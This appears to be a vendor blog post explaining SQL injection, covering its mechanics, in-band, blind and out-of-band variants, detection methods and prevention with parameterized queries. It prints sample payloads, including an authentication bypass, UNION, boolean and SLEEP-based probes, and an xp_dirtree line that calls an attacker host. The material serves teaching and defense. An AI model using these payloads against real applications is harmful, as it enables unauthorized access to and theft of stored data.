SQL Injection (SQLi) is a vulnerability that impacts web applications and ranks among the top threats in application security evaluations. It focuses on the communication layer between the program and its underlying database. It uses structured query language (SQL) to interact with stored data. If input validation is not done correctly, attackers can inject malicious SQL statements into input fields, URLs, headers, or cookies, changing the logic of backend queries.

This manipulation gives attackers unauthorized access to data and allows them to view, edit, or remove essential information like user credentials, financial records, or operational data. In some cases, SQLi can result in a complete system breach and allow attackers to get extra privileges, work on administrative tasks, or go deeper into the internal network. SQL Injection is exploited by publicly accessible interfaces, like login forms or search boxes, so early detection and secure coding methods are essential for defense.

This blog will explore SQL injection, how it works and the types of SQL injection. Learn more about how to detect SQL injection and SQL injection prevention.

What is SQL Injection?

SQL injection (SQLi) is a web application vulnerability that allows attackers to manipulate the structure and execution of SQL queries produced by the application. It happens when user data is improperly added in a SQL statement, and it allows the attacker to change the query logic.

Source: cobalt.io

By injecting malicious SQL code, attackers can obtain unauthorized data, change or remove entries, and, in some situations, perform administrative functions on the database. SQL Injection breaks trust between the application and the database and makes it a significant vulnerability that risks data integrity and privacy.

SQL Injection: How Does It Work?

SQL Injection works by inserting malicious SQL code into input fields or request parameters that are already present in SQL queries that have not been properly sanitized or validated.

Injection of Malicious Input

Attackers start by sending input that includes malicious SQL syntax made to change backend queries. This input is sent through application interfaces like login forms, search fields, URL parameters, or HTTP headers. The attacker’s goal is to affect the execution of SQL commands in a way that the original application logic did not intend. For example, submitting ' OR 1=1 -- as a username confuses the query into always considering it as true, effectively bypassing authentication.

Username: ' OR 1=1 --
Password: [any value]

Develop Dynamic Query

Vulnerable applications often build SQL queries dynamically by combining user input with SQL strings. When the application fails to validate or sanitize the input, the attacker's SQL code is included in the executable query. This results in unplanned actions, like bypassing password verification or exposing user information. For example, in the code below, input is immediately injected into the SQL statement, giving complete control over its execution.

query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "';"

when written like ' OR 1=1 -- it becomes:

SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = '';

Execute Malicious Query

When injected input changes the query, the database treats it as if it were part of the original command. Because SQL fails to differentiate between valid input and inserted commands, the attacker's query runs with the same permissions as the program. In many cases, this gives access to all user records, bypasses login checks, or exposes sensitive data. The impact is determined by the attacker's level of control over the query and the database user's rights.

Exploit System After Injection

After a successful injection, attackers can increase their actions depending on the database and application configuration. They can get private data with SELECT, modify or delete records with UPDATE or DELETE, and even change the database's structure with DROP or ALTER. In advanced cases, if the database allows it, attackers can write to the file system or run system instructions. The scope of the attack is directly related to the permissions of the database account used by the application.

Types of SQL Injection

SQL Injection has various forms based on how the program processes input and produces replies. Here are various types of SQL injection:

In-band SQLi

In-band SQLi happens when an attacker uses the same communication channel to inject SQL and gain results. It is a direct and widely performed attack.

• Error-Based SQL Injection

This method uses database error messages delivered in the HTTP response to reveal query structure or sensitive information. Attackers change inputs to cause the database to return errors.

' OR 1=1 ORDER BY 100 --

If the column count is exceeded, an error message appears, providing backend information.

• Union-Based SQL Injection

This approach uses the UNION operator to combine the results of many SELECT operations. It allows attackers to pull data from other tables by adding new queries.

SELECT name FROM users WHERE id = 1 UNION SELECT username FROM admin --

Blind SQL Injection

Blind SQLi is when no error messages or data are sent back to the attacker. Instead, attackers make assumptions based on the application's behavior in response to true or false conditions.

• Boolean-Based Blind SQLi

Attackers use Boolean formulas to find conditional differences in application output. If the page content or structure changes, the condition is met.

' AND 1=1 --   → Page loads normally  
' AND 1=2 --   → Page structure or content changes

• Time-Based Blind SQLi

In time-based SQLi, attackers abuse delayed functions in the database to get query results. A delay in response time shows a real situation, even if no data is returned.

' OR IF(1=1, SLEEP(5), 0) --

If the page takes 5 seconds to load, the condition is considered true.

Out-of-Band SQL Injection

Out-of-band SQLi happens when data is stolen from a different channel, like DNS or HTTP queries. This strategy is used when in-band procedures fail or answers are muted.

'; EXEC xp_dirtree '\\\\attacker.example.com\\payload' --

The database sends a request to the attacker's server, giving data indirectly. type uses features like external procedure calls and is commonly found in Microsoft SQL Server or Oracle settings.

Boolean-Based Blind SQL Injection

When an application does not return visible error warnings or query results, Boolean-based blind SQL injection is used. Attackers use Boolean expressions in input fields to control how the program responds to true or false conditions.

' AND 1=1 --    → Page loads normally (true condition)  
' AND 1=2 --    → Page displays differently or errors out (false condition)

Eventually, attackers collect data by creating queries that expose one letter or bit at a time, depending on the system's behavior.

Time-Based Blind SQL Injection

Time-based blind SQL injection occurs when no information is returned in the response content or structure, and attackers rely only on response delays to decide the outcome. This method uses database operations such as SLEEP() and pg_sleep() to create fake delays when a particular condition is satisfied.

' OR IF(SUBSTRING(@@version,1,1)='5', SLEEP(5), 0) --

If the server delays its response by 5 seconds, it means that the first character of the SQL version is 5. This technique is slow yet dependable, and it can be used for data extraction in protected applications.

How to Detect SQL Injection?

Here's how to detect this vulnerability in application layers using input analysis, query behavior observation, and automated testing tools.

Manual Input Testing

Security engineers enter already developed SQL payloads like ' OR 1=1 -- into input fields to test how the application processes them. If the application returns unexpected results, bypasses logic, or sends an error, it suggests a possible injection point. This method helps reveal both simple and complex vulnerabilities. Testing starts with login forms, search bars, and URL parameters.

Behavioral Response Analysis

This approach involves analyzing the application’s response to logical variations in input. For example, changing an input from ' AND 1=1 -- to ' AND 1=2 -- should cause a different behavior if SQLi exists. Any variation in page content, response codes, or error messages can expose blind injection points. It is effective when error messages are restricted.

Source Code Review

A structured review of source code helps in detecting SQL queries created using unsafe methods. Prime indicators are queries that use string concatenation instead of parameterization to include user input. Reviewing database interaction layers helps in detecting vulnerable logic routes. This method is very effective for static security evaluations.

Automated Security Scanners

SQLMap, Burp Suite, and Akto scan application endpoints by injecting SQL payloads and analyzing their results. These technologies find abnormalities in responses that indicate a successful injection. They allow to detect of all types of SQLi, including blind and time-based. Automation improves coverage across API and UI endpoints.

Log and Error Monitoring

Monitoring server and database logs can help find injection attempts based on query failures or unusual patterns. Unexpected syntax problems, authorization denials, or access abnormalities often indicate probing activities. This data can be used by security engineers to link occurrences and identify affected areas. Log analysis-based alerting allows rapid response to active threats.

How to Prevent SQL Injection?

SQL Injection prevention requires secure coding methods, access controls, and testing methods. Here is how to prevent SQL injection:

Use Parameterized Queries

Parameterized queries separate SQL logic from user input, so data values are never interpreted as code. The majority of modern programming languages and database drivers provide this capability. By specifying placeholders in the query and binding input values, the database treats inputs as parameters. This approach stops attackers from injecting malicious queries.

# Safe example in Python
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

Validate and Sanitize All User Inputs

Input validation ensures that only the expected data types and formats are received by the program. Restricting input length, type, and character sets lowers the possibility of injection payloads reaching the database. Whitelisting known-safe values provides higher security than blacklisting known-bad inputs. Input sanitization enhances validation by escaping or removing unsafe characters.

Enforce Least Privilege on Database Access

Database accounts used by programs should only have the permissions necessary for their function. Avoid using administrator or root-level accounts for routine application queries. This reduces the impact of a successful injection attack by preventing unauthorized schema changes or data exposure. Set up read-only accounts for procedures that do not require change. Review and audit database roles regularly to ensure compliance with the least privilege.

Use Stored Procedures with Caution

Stored procedures separate SQL functions within the database, hence reducing direct query exposure. However, they should use parameterized input and prevent string concatenation. If not properly implemented, stored procedures can be as vulnerable as dynamic SQL. Always verify inputs to stored routines. The proper usage of stored procedures reduces attack surface and centralizes query logic for greater control.

Conduct Regular Security Testing

Continuous security testing allows for the early detection of SQL injection issues in the development cycle. Static analysis tools detect unsafe code patterns, whereas dynamic testing tools replicate injection attacks on live applications. Regular penetration testing by security engineers ensures that no exploitable vulnerabilities remain. Implementing security testing into CI/CD pipelines increases coverage while reducing remediation time.

Monitor and Log SQL Errors and Anomalies

Monitoring systems should keep all database errors and unusual query patterns for future testing. Error notifications indicate attempted injections or improperly set queries. Notifications provide continuous responses to questionable behavior. Logs also help to discover attack vectors and affected endpoints. Centralized logging allows for faster detection and response to new risks.

Final Thoughts

SQL Injection is a significant risk to web applications because of weak input validation and insecure coding techniques. A solid prevention plan, reinforced by continuous testing, can help lower this risk. Security engineers should prioritize secure coding and perform regular application audits for injection issues.

Akto provides an ongoing solution for detecting and mitigating SQL Injection issues across many APIs. Its automated security testing technology interfaces with CI/CD workflows, allowing for continuous detection of injection attacks before deployment. Akto allows security engineers to protect APIs with minimum manual labor. Schedule a free demo today!